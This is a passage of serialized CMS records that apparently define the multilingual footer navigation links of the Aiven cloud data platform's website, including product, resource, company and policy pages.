studies"},{"_key":"5c664236f0fe","_type":"link","internalLink":{"_ref":"a3deb510-a007-448e-ac4e-bbf5bef29464","_type":"reference"},"title":"Expert services"},{"_key":"3e5f4e63c6f6","_type":"link","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"},"title":"Cluster startup program"},{"_key":"4806b3a5cd42","_type":"link","internalLink":{"_ref":"a86fa077-8308-41ae-a33c-498d64b1d4db","_type":"reference"},"title":"Partners"}],"order":3,"title":"Solutions"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"d64857cc-98c1-4228-8f53-33e6b026f9df__i18n_de","_type":"reference"},{"_key":"fr","_ref":"d64857cc-98c1-4228-8f53-33e6b026f9df__i18n_fr","_type":"reference"}],"_createdAt":"2022-06-03T12:29:15Z","_id":"d64857cc-98c1-4228-8f53-33e6b026f9df","_rev":"Qw0TwPQaQ8aBM3BSTLFYtl","_type":"footer","_updatedAt":"2024-12-20T14:30:10Z","id":"resources","links":[{"_key":"552557b9afef","_type":"link","externalUrl":"https://aiven.io/docs","title":"Documentation"},{"_key":"dcb2f88a8081","_type":"link","internalLink":{"_ref":"438575c3-65ad-44ab-97bc-e0ff42080205","_type":"reference"},"title":"Blog"},{"_key":"552226634a02","_type":"link","internalLink":{"_ref":"20f93b68-4c96-46eb-8900-a3b522bfa249","_type":"reference"},"title":"Developer center"},{"_key":"a0d475e94b9f","_type":"link","internalLink":{"_ref":"07b6e990-ab38-4eaf-b4e6-d8af0126535c","_type":"reference"},"title":"Resource library"},{"_key":"7e75fae347e0","_type":"link","internalLink":{"_ref":"59439506-d307-4ea8-ac85-0d0388792985","_type":"reference"},"title":"Glossary"},{"_key":"fc1b26da1557","_type":"link","internalLink":{"_ref":"5ee42446-6891-458b-bac8-fd25fa3fc6f2","_type":"reference"},"title":"Events and webinars"},{"_key":"4516a6bdefbc","_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Developer workshops"},{"_key":"a71587242c89","_type":"link","internalLink":{"_ref":"94242bba-8421-4db5-8edf-075086929aad","_type":"reference"},"title":"Aiven Community"},{"_key":"7af6ebd1de56","_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"SQL Optimizer"},{"_key":"1ff2f4414f63","_type":"link","internalLink":{"_ref":"b5993f84-5248-49e7-8e75-c6be58365e05","_type":"reference"},"title":"PostgreSQL Playground"},{"_key":"18ecfd4fc4b5e4a836caac3f851d9f54","_type":"link","internalLink":{"_ref":"a90fd771-37de-409a-b1ac-051a49883f80","_type":"reference"},"title":"SQL Formatter"},{"_key":"adff9d7c5022","_type":"link","internalLink":{"_ref":"b72fddc9-a8e4-48f3-874d-2b0ad9c00992","_type":"reference"},"title":"SQL Syntax Checker"},{"_key":"4a05d1e2d54d","_type":"link","internalLink":{"_ref":"a29fa0c9-49f2-4858-a460-d94ea38de79a","_type":"reference"},"title":"SQL to Text"},{"_key":"471cc583381d","_type":"link","internalLink":{"_ref":"812f1589-a79c-4ea3-baa6-b6e32f1277c5","_type":"reference"},"title":"Text to SQL"},{"_key":"3bfed27c34a8","_type":"link","internalLink":{"_ref":"7642e60d-43eb-4129-8f86-146ad0dbaf59","_type":"reference"},"title":"SQL Minifier"},{"_key":"d27a85ea8225","_type":"link","internalLink":{"_ref":"ef7f96df-2537-47e8-a265-ad228e47b83e","_type":"reference"},"title":"SQL Compare"},{"_key":"3e29511d48a7","_type":"link","internalLink":{"_ref":"7a9fc322-051d-49da-8532-073b48611e2d","_type":"reference"},"title":"Instance Comparator"}],"order":4,"title":"Resources"} {"__i18n_lang":"ja","_createdAt":"2022-06-02T11:18:03Z","_id":"f9717fc1-2625-4905-abe5-04a090e91eee__i18n_ja","_rev":"PjhTiFLESFHgz5EjCAb61l","_type":"footer","_updatedAt":"2024-03-20T07:00:24Z","id":"services","links":[{"_key":"e57e6a0890ae","_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5__i18n_ja","_type":"reference"},"title":"Aiven for Apache Kafka®"},{"_key":"9c51e90df199","_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784__i18n_ja","_type":"reference"},"title":"Aiven for Apache Kafka® Connect"},{"_key":"eade93a13a49","_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c__i18n_ja","_type":"reference"},"title":"Aiven for Apache Flink® Beta"},{"_key":"ed5fae51175e","_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d__i18n_ja","_type":"reference"},"title":"Aiven for ClickHouse®"},{"_key":"2d518f567e44","_type":"link","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef__i18n_ja","_type":"reference"},"title":"Aiven for M3"},{"_key":"397a5d320ee7","_type":"link","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4__i18n_ja","_type":"reference"},"title":"Aiven for Apache Cassandra®"},{"_key":"96551e32f9f5","_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa__i18n_ja","_type":"reference"},"title":"Aiven for OpenSearch®"},{"_key":"f8ebe60247b0","_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf__i18n_ja","_type":"reference"},"title":"Aiven for PostgreSQL®"},{"_key":"98f0b3b593e3","_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2__i18n_ja","_type":"reference"},"title":"Aiven for MySQL®"},{"_key":"8046f6bdf667","_type":"link","internalLink":{"_ref":"13512903-e091-4cd8-9625-d942418d75d2__i18n_ja","_type":"reference"},"title":"Aiven for Redis®"},{"_key":"ca94b5c02f2f5c1f282c814b7b40ef51","_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8__i18n_ja","_strengthenOnPublish":{"type":"product"},"_type":"reference","_weak":true},"title":"Aiven for Dragonfly"},{"_key":"9ea48aea946881bef9393c8437f1392e","_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60__i18n_ja","_type":"reference"},"title":"Aiven for Grafana®"}],"order":2,"title":"サービス"} {"__i18n_base":{"_ref":"d64857cc-98c1-4228-8f53-33e6b026f9df","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-03T12:29:15Z","_id":"d64857cc-98c1-4228-8f53-33e6b026f9df__i18n_fr","_rev":"sEwq5NBiPauorOxrhmZvoA","_type":"footer","_updatedAt":"2024-11-20T08:03:23Z","id":"resources","links":[{"_key":"552557b9afef","_type":"link","externalUrl":"https://aiven.io/docs","title":"Documentation"},{"_key":"dcb2f88a8081","_type":"link","internalLink":{"_ref":"438575c3-65ad-44ab-97bc-e0ff42080205","_type":"reference"},"title":"Blog"},{"_key":"552226634a02","_type":"link","internalLink":{"_ref":"20f93b68-4c96-46eb-8900-a3b522bfa249","_type":"reference"},"title":"Developer center"},{"_key":"a0d475e94b9f","_type":"link","internalLink":{"_ref":"07b6e990-ab38-4eaf-b4e6-d8af0126535c","_type":"reference"},"title":"Resource library"},{"_key":"7e75fae347e0","_type":"link","internalLink":{"_ref":"59439506-d307-4ea8-ac85-0d0388792985","_type":"reference"},"title":"Glossary"},{"_key":"fc1b26da1557","_type":"link","internalLink":{"_ref":"5ee42446-6891-458b-bac8-fd25fa3fc6f2","_type":"reference"},"title":"Events and webinars"},{"_key":"4516a6bdefbc","_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Developer workshops"},{"_key":"a71587242c89","_type":"link","internalLink":{"_ref":"94242bba-8421-4db5-8edf-075086929aad","_type":"reference"},"title":"Aiven Community"},{"_key":"7af6ebd1de56","_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"SQL Optimizer"},{"_key":"18ecfd4fc4b5e4a836caac3f851d9f54","_type":"link","internalLink":{"_ref":"a90fd771-37de-409a-b1ac-051a49883f80","_type":"reference"},"title":"SQL Formatter"},{"_key":"adff9d7c5022","_type":"link","internalLink":{"_ref":"b72fddc9-a8e4-48f3-874d-2b0ad9c00992","_type":"reference"},"title":"SQL Syntax Checker"},{"_key":"4a05d1e2d54d","_type":"link","internalLink":{"_ref":"a29fa0c9-49f2-4858-a460-d94ea38de79a","_type":"reference"},"title":"SQL to Text"},{"_key":"471cc583381d","_type":"link","internalLink":{"_ref":"812f1589-a79c-4ea3-baa6-b6e32f1277c5","_type":"reference"},"title":"Text to SQL"},{"_key":"3bfed27c34a8","_type":"link","internalLink":{"_ref":"7642e60d-43eb-4129-8f86-146ad0dbaf59","_type":"reference"},"title":"SQL Minifier"}],"order":4,"title":"Resources"} {"__i18n_base":{"_ref":"60aba555-c31d-4ed8-9c66-bc67c162acbe","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-08-25T12:26:12Z","_id":"60aba555-c31d-4ed8-9c66-bc67c162acbe__i18n_fr","_rev":"T130WEs22RB6SoEkOEXbza","_type":"footer","_updatedAt":"2024-11-20T08:03:13Z","id":"platform","links":[{"_key":"f0d4b887749b5783a7ad2747201ddf21","_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"},{"_key":"66d0b92f3bbf","_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Pricing"},{"_key":"f0bf8b8217418050d21e04750c73d77f","_type":"link","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"},"title":"Bring Your Own Cloud (BYOC)"},{"_key":"832ce5a6da75","_type":"link","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"},"title":"Integrations and connectors"},{"_key":"89301c4a104d","_type":"link","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"},"title":"Security and compliance"},{"_key":"dd9d1c7cac1a","_type":"link","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"},"title":"Support"},{"_key":"d2b56a2bae64","_type":"link","internalLink":{"_ref":"814b2c0a-94d5-4b79-a17f-1a1d5f54f10a","_type":"reference"},"title":"Changelog"},{"_key":"1ab83853e879","_type":"link","externalUrl":"https://ideas.aiven.io/","title":"Product ideas and roadmap"},{"_key":"7793d73cf559","_type":"link","externalUrl":"https://status.aiven.io/","title":"Incident status update"},{"_key":"baac87217db0","_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"}],"order":1,"title":"Platform"} {"__i18n_base":{"_ref":"60aba555-c31d-4ed8-9c66-bc67c162acbe","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-08-25T12:26:12Z","_id":"60aba555-c31d-4ed8-9c66-bc67c162acbe__i18n_de","_rev":"T130WEs22RB6SoEkOEXbLM","_type":"footer","_updatedAt":"2024-11-20T08:03:06Z","id":"platform","links":[{"_key":"f0d4b887749b5783a7ad2747201ddf21","_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"},{"_key":"66d0b92f3bbf","_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Pricing"},{"_key":"f0bf8b8217418050d21e04750c73d77f","_type":"link","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"},"title":"Bring Your Own Cloud (BYOC)"},{"_key":"832ce5a6da75","_type":"link","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"},"title":"Integrations and connectors"},{"_key":"89301c4a104d","_type":"link","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"},"title":"Security and compliance"},{"_key":"dd9d1c7cac1a","_type":"link","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"},"title":"Support"},{"_key":"d2b56a2bae64","_type":"link","internalLink":{"_ref":"814b2c0a-94d5-4b79-a17f-1a1d5f54f10a","_type":"reference"},"title":"Changelog"},{"_key":"1ab83853e879","_type":"link","externalUrl":"https://ideas.aiven.io/","title":"Product ideas and roadmap"},{"_key":"7793d73cf559","_type":"link","externalUrl":"https://status.aiven.io/","title":"Incident status update"},{"_key":"baac87217db0","_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"}],"order":1,"title":"Platform"} {"__i18n_base":{"_ref":"f9717fc1-2625-4905-abe5-04a090e91eee","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-06-02T11:18:03Z","_id":"f9717fc1-2625-4905-abe5-04a090e91eee__i18n_de","_rev":"sEwq5NBiPauorOxrhmZzi0","_type":"footer","_updatedAt":"2024-11-20T08:03:45Z","id":"services","links":[{"_key":"e57e6a0890ae","_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"},{"_key":"9c51e90df199","_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"},"title":"Aiven for Apache Kafka® Connect"},{"_key":"eade93a13a49","_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},{"_key":"0fcabdc9a7946cbe5d7905a7abc9fedd","_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Aiven for AlloyDB Omni"},{"_key":"f8ebe60247b0","_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"},{"_key":"98f0b3b593e3","_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"title":"Aiven for MySQL®"},{"_key":"e58d5e37e8f7ba44bc6b643f64bbe0c8","_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey™"},{"_key":"5a3e8bd136b722d3a1c93afd07bdae7a","_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"},"title":"Aiven for Dragonfly"},{"_key":"8046f6bdf667","_type":"link","internalLink":{"_ref":"d1d507e1-9f11-4bc7-818f-bd9702a10553","_type":"reference"},"title":"Aiven for Caching"},{"_key":"ed5fae51175e","_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for ClickHouse®"},{"_key":"96551e32f9f5","_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch®"},{"_key":"346de87c52b81d984b9da08d968afe75","_type":"link","internalLink":{"_ref":"af7d02c4-3523-4a21-a721-2cd5fb32a0f4","_type":"reference"},"title":"Aiven for Metrics"},{"_key":"9ea48aea946881bef9393c8437f1392e","_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"title":"Aiven for Grafana®"}],"order":2,"title":"Services"} {"__i18n_base":{"_ref":"d64857cc-98c1-4228-8f53-33e6b026f9df","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-06-03T12:29:15Z","_id":"d64857cc-98c1-4228-8f53-33e6b026f9df__i18n_de","_rev":"sEwq5NBiPauorOxrhmZxRt","_type":"footer","_updatedAt":"2024-11-20T08:03:29Z","id":"resources","links":[{"_key":"552557b9afef","_type":"link","externalUrl":"https://aiven.io/docs","title":"Documentation"},{"_key":"dcb2f88a8081","_type":"link","internalLink":{"_ref":"438575c3-65ad-44ab-97bc-e0ff42080205","_type":"reference"},"title":"Blog"},{"_key":"552226634a02","_type":"link","internalLink":{"_ref":"20f93b68-4c96-46eb-8900-a3b522bfa249","_type":"reference"},"title":"Developer center"},{"_key":"a0d475e94b9f","_type":"link","internalLink":{"_ref":"07b6e990-ab38-4eaf-b4e6-d8af0126535c","_type":"reference"},"title":"Resource library"},{"_key":"7e75fae347e0","_type":"link","internalLink":{"_ref":"59439506-d307-4ea8-ac85-0d0388792985","_type":"reference"},"title":"Glossary"},{"_key":"fc1b26da1557","_type":"link","internalLink":{"_ref":"5ee42446-6891-458b-bac8-fd25fa3fc6f2","_type":"reference"},"title":"Events and webinars"},{"_key":"4516a6bdefbc","_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Developer workshops"},{"_key":"a71587242c89","_type":"link","internalLink":{"_ref":"94242bba-8421-4db5-8edf-075086929aad","_type":"reference"},"title":"Aiven Community"},{"_key":"7af6ebd1de56","_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"SQL Optimizer"},{"_key":"18ecfd4fc4b5e4a836caac3f851d9f54","_type":"link","internalLink":{"_ref":"a90fd771-37de-409a-b1ac-051a49883f80","_type":"reference"},"title":"SQL Formatter"},{"_key":"adff9d7c5022","_type":"link","internalLink":{"_ref":"b72fddc9-a8e4-48f3-874d-2b0ad9c00992","_type":"reference"},"title":"SQL Syntax Checker"},{"_key":"4a05d1e2d54d","_type":"link","internalLink":{"_ref":"a29fa0c9-49f2-4858-a460-d94ea38de79a","_type":"reference"},"title":"SQL to Text"},{"_key":"471cc583381d","_type":"link","internalLink":{"_ref":"812f1589-a79c-4ea3-baa6-b6e32f1277c5","_type":"reference"},"title":"Text to SQL"},{"_key":"3bfed27c34a8","_type":"link","internalLink":{"_ref":"7642e60d-43eb-4129-8f86-146ad0dbaf59","_type":"reference"},"title":"SQL Minifier"}],"order":4,"title":"Resources"} {"__i18n_base":{"_ref":"f9717fc1-2625-4905-abe5-04a090e91eee","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-02T11:18:03Z","_id":"f9717fc1-2625-4905-abe5-04a090e91eee__i18n_fr","_rev":"h4ancfFTuSnQNBSq3M5lVE","_type":"footer","_updatedAt":"2024-11-20T08:03:39Z","id":"services","links":[{"_key":"e57e6a0890ae","_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"},{"_key":"9c51e90df199","_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"},"title":"Aiven for Apache Kafka® Connect"},{"_key":"eade93a13a49","_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},{"_key":"0fcabdc9a7946cbe5d7905a7abc9fedd","_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Aiven for AlloyDB Omni"},{"_key":"f8ebe60247b0","_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"},{"_key":"98f0b3b593e3","_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"title":"Aiven for MySQL®"},{"_key":"e58d5e37e8f7ba44bc6b643f64bbe0c8","_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey™"},{"_key":"5a3e8bd136b722d3a1c93afd07bdae7a","_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"},"title":"Aiven for Dragonfly"},{"_key":"8046f6bdf667","_type":"link","internalLink":{"_ref":"d1d507e1-9f11-4bc7-818f-bd9702a10553","_type":"reference"},"title":"Aiven for Caching"},{"_key":"ed5fae51175e","_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for ClickHouse®"},{"_key":"96551e32f9f5","_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch®"},{"_key":"346de87c52b81d984b9da08d968afe75","_type":"link","internalLink":{"_ref":"af7d02c4-3523-4a21-a721-2cd5fb32a0f4","_type":"reference"},"title":"Aiven for Metrics"},{"_key":"9ea48aea946881bef9393c8437f1392e","_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"title":"Aiven for Grafana®"}],"order":2,"title":"Services"} {"__i18n_base":{"_ref":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-06-03T12:30:17Z","_id":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913__i18n_de","_rev":"sEwq5NBiPauorOxrhma0Zk","_type":"footer","_updatedAt":"2024-11-20T08:03:54Z","id":"company","links":[{"_key":"9aaaaf74c9b4","_type":"link","internalLink":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd","_type":"reference"},"title":"About"},{"_key":"802a009b976c","_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},{"_key":"ee891e1cb5dc","_type":"link","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"Careers"},{"_key":"3e8def23f6ce","_type":"link","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"},"title":"Open source"},{"_key":"1a6d9ef744a0ec6de128641c623d2194","_type":"link","internalLink":{"_ref":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_type":"reference"},"title":"Sustainability"},{"_key":"883c820817d1","_type":"link","internalLink":{"_ref":"668f580e-9996-4c28-8fbe-1c6151081584","_type":"reference"},"title":"Press"},{"_key":"f2b146716597","_type":"link","internalLink":{"_ref":"3b5806cc-b4b0-494c-b509-3c3e45527296","_type":"reference"},"title":"Aiven invoicing addresses"}],"order":5,"title":"Company"} {"__i18n_base":{"_ref":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-03T12:30:17Z","_id":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913__i18n_fr","_rev":"T130WEs22RB6SoEkOEXg42","_type":"footer","_updatedAt":"2024-11-20T08:04:01Z","id":"company","links":[{"_key":"9aaaaf74c9b4","_type":"link","internalLink":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd","_type":"reference"},"title":"About"},{"_key":"802a009b976c","_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},{"_key":"ee891e1cb5dc","_type":"link","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"Careers"},{"_key":"3e8def23f6ce","_type":"link","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"},"title":"Open source"},{"_key":"1a6d9ef744a0ec6de128641c623d2194","_type":"link","internalLink":{"_ref":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_type":"reference"},"title":"Sustainability"},{"_key":"883c820817d1","_type":"link","internalLink":{"_ref":"668f580e-9996-4c28-8fbe-1c6151081584","_type":"reference"},"title":"Press"},{"_key":"f2b146716597","_type":"link","internalLink":{"_ref":"3b5806cc-b4b0-494c-b509-3c3e45527296","_type":"reference"},"title":"Aiven invoicing addresses"}],"order":5,"title":"Company"} {"__i18n_base":{"_ref":"71a0dfc1-2d45-4a36-9b93-4303bb56b716","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-08-25T12:28:47Z","_id":"71a0dfc1-2d45-4a36-9b93-4303bb56b716__i18n_de","_rev":"T130WEs22RB6SoEkOEXgbK","_type":"footer","_updatedAt":"2024-11-20T08:04:10Z","id":"contacts","links":[{"_key":"8f47cdfeb034","_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},{"_key":"efebd89dfc0d","_type":"link","internalLink":{"_ref":"2e367534-9fbc-41ac-9806-5e832dedf3ba","_type":"reference"},"title":"Subscribe to newsletter"}],"order":6,"title":"Let's connect"} {"__i18n_base":{"_ref":"71a0dfc1-2d45-4a36-9b93-4303bb56b716","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-08-25T12:28:47Z","_id":"71a0dfc1-2d45-4a36-9b93-4303bb56b716__i18n_fr","_rev":"h4ancfFTuSnQNBSq3M5p4e","_type":"footer","_updatedAt":"2024-11-20T08:04:16Z","id":"contacts","links":[{"_key":"8f47cdfeb034","_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},{"_key":"efebd89dfc0d","_type":"link","internalLink":{"_ref":"2e367534-9fbc-41ac-9806-5e832dedf3ba","_type":"reference"},"title":"Subscribe to newsletter"}],"order":6,"title":"Let's connect"} {"__i18n_base":{"_ref":"d772d3ee-5598-4538-86ed-d19adc7327d6","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-06-03T08:37:52Z","_id":"d772d3ee-5598-4538-86ed-d19adc7327d6__i18n_de","_rev":"T130WEs22RB6SoEkOEXiVE","_type":"footer","_updatedAt":"2024-11-20T08:04:36Z","id":"solutions","links":[{"_key":"86420d1b1c85","_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"},{"_key":"8a3ffa3ec374","_type":"link","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"},"title":"Customer spotlight"},{"_key":"cfc5b541dd2a","_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"Case studies"},{"_key":"5c664236f0fe","_type":"link","internalLink":{"_ref":"a3deb510-a007-448e-ac4e-bbf5bef29464","_type":"reference"},"title":"Expert services"},{"_key":"3e5f4e63c6f6","_type":"link","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"},"title":"Cluster startup program"},{"_key":"4806b3a5cd42","_type":"link","internalLink":{"_ref":"a86fa077-8308-41ae-a33c-498d64b1d4db","_type":"reference"},"title":"Partners"}],"order":3,"title":"Solutions"} {"__i18n_base":{"_ref":"d772d3ee-5598-4538-86ed-d19adc7327d6","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-03T08:37:52Z","_id":"d772d3ee-5598-4538-86ed-d19adc7327d6__i18n_fr","_rev":"h4ancfFTuSnQNBSq3M5sOa","_type":"footer","_updatedAt":"2024-11-20T08:04:43Z","id":"solutions","links":[{"_key":"86420d1b1c85","_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"},{"_key":"8a3ffa3ec374","_type":"link","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"},"title":"Customer spotlight"},{"_key":"cfc5b541dd2a","_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"Case studies"},{"_key":"5c664236f0fe","_type":"link","internalLink":{"_ref":"a3deb510-a007-448e-ac4e-bbf5bef29464","_type":"reference"},"title":"Expert services"},{"_key":"3e5f4e63c6f6","_type":"link","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"},"title":"Cluster startup program"},{"_key":"4806b3a5cd42","_type":"link","internalLink":{"_ref":"a86fa077-8308-41ae-a33c-498d64b1d4db","_type":"reference"},"title":"Partners"}],"order":3,"title":"Solutions"} {"__i18n_base":{"_ref":"305296c7-9bd9-4437-a0d7-7f2ecb1db071","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-06-03T12:31:45Z","_id":"305296c7-9bd9-4437-a0d7-7f2ecb1db071__i18n_de","_rev":"T130WEs22RB6SoEkOEXlV6","_type":"footer","_updatedAt":"2024-11-20T08:05:00Z","id":"terms-policies","links":[{"_key":"b934b392de26","_type":"link","internalLink":{"_ref":"174ba708-1e30-481f-ab87-32c8d8fac151","_type":"reference"},"title":"Terms of services"},{"_key":"9a82ee9cc835","_type":"link","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"},"title":"SLA"},{"_key":"67ff2d4c1efa","_type":"link","internalLink":{"_ref":"c6a6bde8-7a3d-42b2-aec7-b89f7feeb2bd","_type":"reference"},"title":"Data processing agreement"},{"_key":"dfabb93e3744","_type":"link","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"},"title":"Privacy policy"},{"_key":"b7a5497a35bb","_type":"link","internalLink":{"_ref":"16319f9c-a9fd-40b6-a142-55abea8fb589","_type":"reference"},"title":"Cookie policy"},{"_key":"8f3de418c94c","_type":"link","internalLink":{"_ref":"4a5f09b0-1992-4697-8a26-33e4788fc5dd","_type":"reference"},"title":"Subprocessors \u0026 subcontractors"},{"_key":"f1167d34accf","_type":"link","internalLink":{"_ref":"97422fba-5006-46b6-9389-f8d782b04bd5","_type":"reference"},"title":"Responsibility 